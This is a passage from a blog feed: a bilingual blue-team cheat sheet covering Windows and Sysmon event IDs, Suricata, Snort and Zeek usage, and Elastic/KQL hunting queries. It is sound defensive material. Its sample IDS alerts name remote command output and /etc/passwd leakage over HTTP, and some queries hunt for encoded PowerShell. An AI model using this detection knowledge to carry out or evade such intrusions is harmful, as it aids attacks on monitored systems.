    <category term="Threat Hunting" scheme="https://yunshiuan.com/tags/Threat-Hunting/"/>
    
    <category term="威脅狩獵" scheme="https://yunshiuan.com/tags/%E5%A8%81%E8%84%85%E7%8B%A9%E7%8D%B5/"/>
    
    <category term="資安競賽" scheme="https://yunshiuan.com/tags/%E8%B3%87%E5%AE%89%E7%AB%B6%E8%B3%BD/"/>
    
    <category term="APT" scheme="https://yunshiuan.com/tags/APT/"/>
    
    <category term="勒索軟體" scheme="https://yunshiuan.com/tags/%E5%8B%92%E7%B4%A2%E8%BB%9F%E9%AB%94/"/>
    
    <category term="Web Defacement" scheme="https://yunshiuan.com/tags/Web-Defacement/"/>
    
    <category term="Suricata" scheme="https://yunshiuan.com/tags/Suricata/"/>
    
    <category term="Sysmon" scheme="https://yunshiuan.com/tags/Sysmon/"/>
    
    <category term="暴力破解" scheme="https://yunshiuan.com/tags/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/"/>
    
    <category term="漏洞掃描" scheme="https://yunshiuan.com/tags/%E6%BC%8F%E6%B4%9E%E6%8E%83%E6%8F%8F/"/>
    
  </entry>
  
  <entry>
    <title>🛡️ BlueTeam CheatSheet</title>
    <link href="https://yunshiuan.com/2025/08/12/BlueTeamCheatSheet/"/>
    <id>https://yunshiuan.com/2025/08/12/BlueTeamCheatSheet/</id>
    <published>2025-08-12T10:50:59.000Z</published>
    <updated>2026-04-29T11:34:17.737Z</updated>
    
    <content type="html"><![CDATA[<p>In this note, I organize the commons blue team skill</p><h2 id="Event-code"><a href="#Event-code" class="headerlink" title="Event code"></a>Event code</h2><h3 id="Winlog"><a href="#Winlog" class="headerlink" title="Winlog"></a>Winlog</h3><table><thead><tr><th>Event ID</th><th>說明</th></tr></thead><tbody><tr><td>4104</td><td>Windows powershell 執行日記</td></tr><tr><td>4624</td><td>登入成功</td></tr><tr><td>4625</td><td>登入失敗</td></tr><tr><td>4648</td><td>明確帳號登入（如 RunAs）</td></tr><tr><td>4672</td><td>特權登入（如 admin 登入）</td></tr><tr><td>4634</td><td>使用者登出</td></tr><tr><td>4662</td><td>Active Directory (AD) 物件上執行了某項操作 ( 偵測 Dscync ，尤其是一般使用者存取時)</td></tr><tr><td>4688</td><td>建立新程序（程式啟動）</td></tr><tr><td>4689</td><td>程式結束</td></tr><tr><td>4697</td><td>安裝新服務（常用於惡意持久化）</td></tr><tr><td>4720</td><td>建立新帳號</td></tr><tr><td>4722</td><td>啟用帳戶</td></tr><tr><td>4723</td><td>嘗試變更自己的密碼</td></tr><tr><td>4724</td><td>嘗試為他人變更密碼</td></tr><tr><td>4725</td><td>停用帳戶</td></tr><tr><td>4726</td><td>刪除帳戶</td></tr><tr><td>4728</td><td>使用者被加入<strong>全域</strong>群組</td></tr><tr><td>4732</td><td>使用者被加入<strong>本機</strong>群組</td></tr><tr><td>4768</td><td>Kerberos TGT 請求</td></tr><tr><td>4769</td><td>Kerberos 服務票證請求</td></tr><tr><td>4776</td><td>NTLM 驗證請求</td></tr><tr><td>5140</td><td>存取共用資料夾</td></tr><tr><td>5156</td><td>防火牆允許的網路連線（NetConn 事件）</td></tr><tr><td>7045</td><td>安裝服務（System log，也可監控持久化）</td></tr></tbody></table><h2 id="Sysmon"><a href="#Sysmon" class="headerlink" title="Sysmon"></a><a href="https://learn.microsoft.com/zh-tw/sysinternals/downloads/sysmon">Sysmon</a></h2><ul><li>可以看到更底層的資訊，包含檔案的更新或者創建等等</li><li>可以用 <a href="https://github.com/nshalabi/SysmonTools">Sysmon view</a> 查看</li></ul><table><thead><tr><th>Event ID</th><th>說明</th></tr></thead><tbody><tr><td>1</td><td>Process Create（程式啟動）</td></tr><tr><td>2</td><td>File creation time changed（時間戳被修改）</td></tr><tr><td>3</td><td>Network connection（TCP 連線）</td></tr><tr><td>5</td><td>Process Terminate（程式終止）</td></tr><tr><td>6</td><td>Driver Loaded（驅動載入）</td></tr><tr><td>7</td><td>Image Loaded（DLL載入）</td></tr><tr><td>8</td><td>CreateRemoteThread（遠端執行緒注入）</td></tr><tr><td>9</td><td>RawAccessRead（磁碟原始存取）</td></tr><tr><td>10</td><td>ProcessAccess（程式存取他人記憶體）</td></tr><tr><td>11</td><td>File Create（檔案建立）</td></tr><tr><td>12</td><td>Registry Key Create（註冊表鍵建立）</td></tr><tr><td>13</td><td>Registry Value Set（註冊表值修改）</td></tr><tr><td>14</td><td>Registry Key Delete（註冊表鍵刪除）</td></tr><tr><td>15</td><td>FileCreateStreamHash（建立 ADS）</td></tr><tr><td>22</td><td>DNS Query（DNS 查詢事件）</td></tr><tr><td>23</td><td>File Delete（檔案刪除）</td></tr><tr><td>25</td><td>Process Tampering（程式記憶體被修改）</td></tr><tr><td>26</td><td>File Deleted and Overwritten（防止取證）</td></tr><tr><td>29</td><td>FileExecutableDetected (新的 .exe .dll 產出偵測)</td></tr><tr><td>255</td><td>Sysmon 設定被修改（Config change）</td></tr></tbody></table><h2 id="IDS-IPS"><a href="#IDS-IPS" class="headerlink" title="IDS&#x2F;IPS"></a>IDS&#x2F;IPS</h2><ul><li><p><a href="https://www.ossec.net/">OSSEC</a></p><ul><li>HIDS</li></ul></li><li><p><a href="https://suricata.io/">Suricata</a></p><ul><li><p>Suricata 是一個開源的入侵偵測系統（IDS）與入侵防禦系統（IPS），以深度封包檢測、流量分析與威脅偵測聞名。能使用 Suricata 的龐大規則集快速評估網路資料並辨識異常。</p><p>指令如下</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">suricata -<span class="attribute">r</span> B33F50up_blog<span class="selector-class">.pcapng</span> </span><br></pre></td></tr></table></figure><p>他會產生四個檔案</p><ul><li>eve.json : Suricata的結構化日誌檔案，包含多種事件類型的詳細記錄</li><li>fast.log : Suricata 快速警報日誌，包含檢測到的安全威脅警報</li><li>stats.log : Suricata 運行統計資料，包含詳細的系統運行統計</li><li>suricata.log : Suricata 主要運行日誌，包含系統啟動和運行資訊</li></ul><p><img src="/assets/5LROwbAnig-tGtRpsi7V6Ig8OL3X9F9e3CxpqHcjWvs=.png"></p><p>以下是 fast.log 資訊</p><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">08/09/2025</span>-<span class="number">02</span>:<span class="number">53:47.165861</span>  [**] [<span class="number">1:2019284</span>:<span class="number">3</span>] ET ATTACK_RESPONSE Output of id command from HTTP server [**] [Classification: Potentially Bad Traffic] [Priority: <span class="number">2</span>] &#123;TCP&#125; <span class="number">192.168.1.125</span>:<span class="number">5000</span> -&gt; <span class="number">100.112.165.2</span>:<span class="number">60865</span></span><br><span class="line"><span class="number">08/09/2025</span>-<span class="number">02</span>:<span class="number">56</span>:<span class="number">49.767871</span>  [**] [<span class="number">1:2002034</span>:<span class="number">13</span>] ET ATTACK_RESPONSE Possible /etc/passwd via HTTP (linux style) [**] [Classification: Information Leak] [Priority: <span class="number">2</span>] &#123;TCP&#125; <span class="number">192.168.1.125</span>:<span class="number">5000</span> -&gt; <span class="number">100.112.165.2</span>:<span class="number">61207</span></span><br></pre></td></tr></table></figure></li><li><p><code>ls -lah /etc/suricata/rules/</code> see all rulus</p></li><li><p><code>suricata -r test.pcap</code> create various logs(etc eve.json,fast.log…)</p></li><li><p><code>suricata --pcap=ens160 -vv</code>  Suricata’s (Live) LibPCAP mod</p></li><li><p><code>cat /var/log/suricata/old_eve.json | jq -c &#39;select(.event_type == &quot;http&quot;)&#39; | head -1 | jq </code>quury example</p></li></ul></li><li><p><a href="https://github.com/activecm/rita">RITA</a></p><ul><li>detect C2</li><li>&#96;&#96;</li><li><a href="https://cn-sec.com/archives/1901157.html">simple tour</a></li><li><a href="https://ithelp.ithome.com.tw/m/articles/10209273">simple tour2</a></li></ul></li><li><p><a href="https://www.snort.org/">Snort</a></p><ul><li>example:</li></ul>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -R /home/htb-student/local.rules -r /home/htb-student/pcaps/cerber.pcap -A cmg</span><br></pre></td></tr></table></figure>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq \</span><br><span class="line">-r XXX.pcap</span><br></pre></td></tr></table></figure>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq \</span><br><span class="line">-i ens160</span><br></pre></td></tr></table></figure></li><li><p>Zeek </p><ul><li><p>Zeek 是一個開源的網路安全監控工具，以強大的資料記錄功能聞名。它能將原始的 pcap 封包檔轉換成結構化的日誌，方便在 Zeek 內查詢與分析，快速提供網路行為的概覽。</p><p>指令如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">zeek -C -r B33F50up_blog.pcapng</span><br></pre></td></tr></table></figure><p>他會產生以下檔案</p><ul><li>conn.log  : 記錄了所有的網路連接</li><li>dns.log：記錄了所有的 DNS查詢活動</li><li>files.log：記錄了通過 HTTP 傳輸的檔案</li><li>http.log：這是一個 HTTP 協議的流量日誌，記錄了網頁瀏覽和API 請求</li><li>packet_filter.log：記錄了封包過濾器的配置</li></ul><p><img src="/assets/wEXC7MUEGLZqmjPBWvXxb9gL4cWzTN2L6JHdh9dc1cA=.png"></p><p>以下是http.log 的形式</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#separator \x09</span></span><br><span class="line"><span class="comment">#set_separator,</span></span><br><span class="line"><span class="comment">#empty_field(empty)</span></span><br><span class="line"><span class="comment">#unset_field-</span></span><br><span class="line"><span class="comment">#pathhttp</span></span><br><span class="line"><span class="comment">#open2025-09-27-22-26-52</span></span><br><span class="line"><span class="comment">#fieldstsuidid.orig_hid.orig_pid.resp_hid.resp_ptrans_depthmethodhosturireferrerversionuser_agentoriginrequest_body_lenresponse_body_lenstatus_codestatus_msginfo_codeinfo_msgtagsusernamepasswordproxiedorig_fuidsorig_filenamesorig_mime_typesresp_fuidsresp_filenamesresp_mime_types</span></span><br><span class="line"><span class="comment">#typestimestringaddrportaddrportcountstringstringstringstringstringstringstringcountcountcountstringcountstringset[enum]stringstringset[string]vector[string]vector[string]vector[string]vector[string]vector[string]vector[string]</span></span><br><span class="line">1754678828.272075CAuRo91flufxXutAke100.112.165.260665192.168.1.12550001GET192.168.1.125:5000/-1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36-024859200OK--(empty)------FA9Bk7Ikrr1LVrys-text/html</span><br><span class="line">1754678857.820963CIRhMK1X97Z1MzFRD1100.112.165.260676192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500015727200OK--(empty)---FIUrzJ3sbt6deYBXf3-text/plainFyILV9CHbcmUMGtc6-text/json</span><br><span class="line">1754678865.293310CZnidTF5LIgaMzbRe100.112.165.260677192.168.1.12550001POST192.168.1.125:5000/systemhttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000141185200OK--(empty)---Fvs6lg41SIyuYsReh2--FqFYD91bNrEWRNR501-text/json</span><br><span class="line">1754679070.738945CWlCIn4qK2ntw6CuJl100.112.165.260757192.168.1.12550001GET192.168.1.125:5000/-1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36-024859200OK--(empty)------FG2QH72aF2jeG9CYC9-text/html</span><br><span class="line">1754679165.228123C5V1Fn3nYAvFuSQeE100.112.165.260778192.168.1.12550001POST192.168.1.125:5000/systemhttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000141287200OK--(empty)---FnwtMr2TZ1qIS6LLmj--Fq827u4xABcX563I21-text/json</span><br><span class="line">1754679173.669096CWXpsv3zrBE7Lx66Sg100.112.165.260779192.168.1.12550001POST192.168.1.125:5000/systemhttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500014413177200OK--(empty)---FxvTqN3Pid7VWQP7y3--Fi4rGH32Y4P77kznf3-text/json</span><br><span class="line">1754679180.268390Co6odn3WTbf9HKGcO6100.112.165.260780192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500015728200OK--(empty)---FYW00SjDihqYC30xe-text/plainFQGbYm3SH1rsO8o9ng-text/json</span><br><span class="line">1754679196.383809CGjLWoznypKV0Pgt100.112.165.260809192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500016738200OK--(empty)---FVCJDglco6ai9lzi4-text/plainFB2a4L3x3ZELSSdCQ1-text/json</span><br><span class="line">1754679223.696243C0s1KA7ZrfQvnIpj100.112.165.260865192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500030851200OK--(empty)---FA2p79sD6MkhyaCEb-text/plainFwUGICEULGQRyBs78-text/json</span><br><span class="line">1754679257.891805CtwrhY2Kw9bscBOsX7100.112.165.260874192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500034755200OK--(empty)---FybSTDKXBk5dCiaYl-text/plainF55jsD1S1vWW8IVBY4-text/json</span><br><span class="line">1754679265.650887CFgfqH2IasZxXsovkd100.112.165.260875192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500030869200OK--(empty)---FtvRcZ3D5kRIP1ijy5-text/plainFTYdr5iKtJX11Efma-text/json</span><br><span class="line">1754679315.090163CEAuN63ly0lHS2zRrj100.112.165.260895192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500030869200OK--(empty)---Fyt7jP30AEKPs4C0Uj-text/plainF0zHt852ycC25Gpkf-text/json</span><br><span class="line">1754679319.217264CRWcyt2bda4K3g6Xub100.112.165.260912192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500036900200OK--(empty)---FUAgus1sr4pPeGnidg-text/plainFqnOWw20dfXD0koyIi-text/json</span><br><span class="line">1754679354.845803CulPOq3A9IP8ab4Zqd100.112.165.260981192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500048769200OK--(empty)---FZw17aZHAnZltVkJ-text/plainFQvAYSOVPIbUCfRm7-text/json</span><br><span class="line">1754679406.575000C9iy0scrJKJuDpi07100.112.165.261207192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000492621200OK--(empty)---FiejrYnJjwTaJ5db7-text/plainFKZoSb4yddnL4uzkZf-text/json</span><br><span class="line">1754679827.575533CV2dqm3aNuGOi4EC0h100.112.165.263113192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500036912200OK--(empty)---FDaXYp2bh8hJpHMYCi-text/plainFdsBU41nDrcCQ9mTV9-text/json</span><br><span class="line">1754679851.757452CWSzgl4AsTyJVyRpJf100.112.165.263213192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500044800200OK--(empty)---FAGwfWDdjCLhcrZX2-text/plainF89dhl1uFy7r4oRtf-text/json</span><br><span class="line">1754679859.655497C0LErP2jTxCqKmUESd100.112.165.263216192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500047781200OK--(empty)---FoNYJj2QlLyZkd9tEe-text/plainFUaGCH2RbcOlDQcaOi-text/json</span><br><span class="line">1754679875.655339CqC0qj2SMoQnSfaju6100.112.165.263217192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:500031762200OK--(empty)---FRGjia4iHeyPzIDRC3-text/plainFwGgDTGi2gHDik2P5-text/json</span><br><span class="line">1754679999.499748CtN1Vk4RrwIRGOgwHc100.112.165.263280192.168.1.12550001POST192.168.1.125:5000/pinghttp://192.168.1.125:5000/1.1Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36http://192.168.1.125:5000142836200OK--(empty)---FFJx4j4PnbpIi0mfD6-text/plainFYpDmc37JMpCuz4Zac-text/json</span><br><span class="line"><span class="comment">#close2025-09-27-22-26-52</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>另外他也會根據 pcap 檔產生其他log ，參考網址：<a href="https://docs.zeek.org/en/master/logs/index.html">https://docs.zeek.org/en/master/logs/index.html</a></p></li></ul></li></ul><p>xml filter example</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">QueryList</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">Query</span> <span class="attr">Id</span>=<span class="string">&quot;0&quot;</span> <span class="attr">Path</span>=<span class="string">&quot;Microsoft-Windows-Sysmon/Operational&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">Select</span> <span class="attr">Path</span>=<span class="string">&quot;Microsoft-Windows-Sysmon/Operational&quot;</span>&gt;</span></span><br><span class="line">      *[</span><br><span class="line">        System[</span><br><span class="line">          (EventID=3)</span><br><span class="line">          and TimeCreated[</span><br><span class="line">            @SystemTime &gt;= &#x27;2022-01-01T07:41:36.000Z&#x27;</span><br><span class="line">            and @SystemTime &lt;= &#x27;2022-10-02T07:41:36.999Z&#x27;</span><br><span class="line">          ]</span><br><span class="line">        ]</span><br><span class="line">        and EventData[</span><br><span class="line">          Data[@Name=&#x27;ProcessGuid&#x27;]=&#x27;a79137ec-af0f-6338-b702-00000000e901&#x27;</span><br><span class="line">        ]</span><br><span class="line">      ]</span><br><span class="line">    <span class="tag">&lt;/<span class="name">Select</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">Query</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">QueryList</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="SIEM"><a href="#SIEM" class="headerlink" title="SIEM"></a>SIEM</h2><p>Continuously, for ongoing detection and alerting</p><h3 id="ELK-Stack"><a href="#ELK-Stack" class="headerlink" title="ELK Stack"></a><a href="https://www.elastic.co/elastic-stack">ELK Stack</a></h3><p>直接用 docker 架起來的方式 : <a href="https://hackmd.io/@CHW/S1vy8V8ca#Elastic-stackELK-%E5%AE%89%E8%A3%9D-on-docker-%E4%B8%80%E9%8D%B5%E5%AE%89%E8%A3%9D">連結</a>  </p><h4 id="Elastic-Common-Schema-ECS"><a href="#Elastic-Common-Schema-ECS" class="headerlink" title="Elastic Common Schema (ECS)"></a>Elastic Common Schema (ECS)</h4><table><thead><tr><th>字段類型</th><th>描述</th><th>KQL 範例</th></tr></thead><tbody><tr><td>event.category</td><td>將事件按大型邏輯類別分組，通常與”event.category”字段結合使用進行過濾搜索</td><td>• event.category: authentication<br>• event.category: process<br>• event.category: file<br>• event.category: malware<br>• event.category: network</td></tr><tr><td>event.type</td><td>作為子分類，通常與”event.category”字段結合使用過濾搜索</td><td>• event.type: creation<br>• event.type: deletion<br>• event.type: access</td></tr><tr><td>event.outcome</td><td>指示事件是否成功或失敗</td><td>• event.outcome: success<br>• event.outcome: failure</td></tr></tbody></table><h4 id="Common-Search-Fields"><a href="#Common-Search-Fields" class="headerlink" title="Common Search Fields"></a>Common Search Fields</h4><table><thead><tr><th>字段</th><th>KQL 範例</th><th>輸出</th></tr></thead><tbody><tr><td>@timestamp</td><td>@timestamp: 2023-01-25</td><td>事件發生時間的時間戳（事件來源於該時間而非更早或更晚）</td></tr><tr><td>agent.name</td><td>agent.name: “DESKTOP*”</td><td>從代理名稱中搜索指定字符並顯示結果</td></tr><tr><td>message</td><td>message: powershell</td><td>在任何含有”powershell”字符的消息中搜索</td></tr></tbody></table><h4 id="Process-Related-Fields"><a href="#Process-Related-Fields" class="headerlink" title="Process Related Fields"></a>Process Related Fields</h4><table><thead><tr><th>字段</th><th>KQL 範例</th><th>輸出</th></tr></thead><tbody><tr><td>process.name</td><td>event.category: process and process.name: svchost</td><td>尋找進程名為svchost的所有進程</td></tr><tr><td>process.command_line</td><td>process.command_line: (cmd or “&#x2F;c”)</td><td>尋找使用cmd並且含有命令行參數為”&#x2F;c”的進程</td></tr><tr><td>process.pid</td><td>event.category: process and process.pid: 4360</td><td>尋找PID為4360的進程</td></tr><tr><td>process.parent.name</td><td>event.category: process and process.parent.name: cmd.exe and process.name: powershell.exe</td><td>尋找父進程為cmd.exe且該進程名為powershell的進程；尋找由cmd.exe父進程啟動的PowerShell進程</td></tr><tr><td>process.parent.pid</td><td>event.category: process and process.parent.pid: 1240</td><td>尋找父進程PID為1240的進程</td></tr></tbody></table><h4 id="Network-Related-Fields"><a href="#Network-Related-Fields" class="headerlink" title="Network Related Fields"></a>Network Related Fields</h4><table><thead><tr><th>字段</th><th>KQL 範例</th><th>輸出</th></tr></thead><tbody><tr><td>source.ip</td><td>source.ip: 127.0.0.1</td><td>尋找源IP地址中的任何出站流量</td></tr><tr><td>destination.ip</td><td>destination.ip: 23.184.192.62</td><td>尋找目的IP地址中的任何入站流量</td></tr><tr><td>destination.port</td><td>destination.port: 443</td><td>尋找目的端口中的任何入站流量，例如目的端口443</td></tr><tr><td>dns.question.name</td><td>dns.question.name: “<a href="http://www.youtube.com/">www.youtube.com</a>“</td><td>尋找DNS查詢記錄查看DNS解析，包括網站youtube.com</td></tr><tr><td>dns.response_code</td><td>dns.response_code: “NXDOMAIN”</td><td>尋找DNS響應代碼的返回碼，包含NXDOMAIN</td></tr><tr><td>destination.geo.country_name</td><td>destination.geo.country_name: “Canada”</td><td>尋找目的地理國家欄位，例如Canada</td></tr></tbody></table><h4 id="Authentication-Related-Fields"><a href="#Authentication-Related-Fields" class="headerlink" title="Authentication Related Fields"></a>Authentication Related Fields</h4><table><thead><tr><th>字段</th><th>KQL 範例</th><th>輸出</th></tr></thead><tbody><tr><td>user.name</td><td>event.category: “authentication” and user.name: john</td><td>尋找用戶名john的登錄嘗試</td></tr><tr><td>winlog.logon.type</td><td>event.category: “authentication” and winlog.logon.type: 3</td><td>尋找logon type為3（網路登錄）的驗證事件</td></tr><tr><td>winlog.event_data.AuthenticationPackageName</td><td>event.category: “authentication” and winlog.event_data.AuthenticationPackageName: “NTLM”</td><td>尋找使用NTLM驗證包的驗證事件</td></tr></tbody></table><h4 id="常用查詢語法"><a href="#常用查詢語法" class="headerlink" title="常用查詢語法"></a>常用查詢語法</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">event.provider: <span class="string">&quot;Microsoft-Windows-Sysmon&quot;</span> and event.code: 11  and winlog.event_data.TargetFilename  : *.aspx</span><br><span class="line"></span><br><span class="line"><span class="comment"># DNS相關查詢</span></span><br><span class="line">agent.type : <span class="string">&quot;packetbeat&quot;</span> and <span class="built_in">type</span>:<span class="string">&quot;dns&quot;</span>  </span><br><span class="line">dns.question.registered_domain : <span class="string">&quot;XXX&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 程序監控</span></span><br><span class="line">event.category: process and process.name: powershell.exe</span><br><span class="line">process.command_line: *encoded* and event.category: process</span><br><span class="line"></span><br><span class="line"><span class="comment"># 網路流量分析</span></span><br><span class="line">source.ip: 192.168.1.0/24 and destination.port: (443 or 80)</span><br><span class="line">event.category: network and destination.geo.country_name: <span class="string">&quot;China&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 驗證事件</span></span><br><span class="line">event.category: authentication and event.outcome: failure</span><br><span class="line">winlog.event_id: 4625 and user.name: administrator</span><br><span class="line"></span><br><span class="line"><span class="comment"># 檔案操作</span></span><br><span class="line">event.category: file and event.type: creation</span><br><span class="line">file.extension: (exe or dll) and file.path: *temp*</span><br></pre></td></tr></table></figure><ul><li><p><a href="https://www.splunk.com/zh_tw">splunk</a></p></li><li><p>chainsaw</p><ul><li>use sigma</li></ul></li></ul><h2 id="DFIR"><a href="#DFIR" class="headerlink" title="DFIR"></a>DFIR</h2><p>after an incident has occurred </p><ul><li><a href="https://docs.velociraptor.app/">Velociraptor</a></li></ul><h2 id="CTI"><a href="#CTI" class="headerlink" title="CTI"></a>CTI</h2><ul><li><a href="">MISP</a></li><li><a href="https://yeti-platform.io/">YETI</a></li><li><a href="https://github.com/OpenCTI-Platform/opencti">openCTI</a></li></ul><h2 id="Malware-Analysis"><a href="#Malware-Analysis" class="headerlink" title="Malware Analysis"></a>Malware Analysis</h2><ul><li><p><a href="https://github.com/Rurik/Noriben">Noriben</a></p><ul><li>Noriben is a Python-based script that works in conjunction with Sysinternals Procmon to automatically collect, analyze, and report on runtime indicators of malware.</li><li><code>python Noriben.py</code> launch the script</li></ul></li><li><p><a href="https://www.virustotal.com/gui/home/upload">VirusTotal</a></p><p>  VirusTotal 是一個線上服務，讓使用者可以上傳檔案、URL、Domain、IP 或 Hash 進行分析，以檢測是否含有惡意軟體、惡意連結、釣魚等威脅，VirusTotal 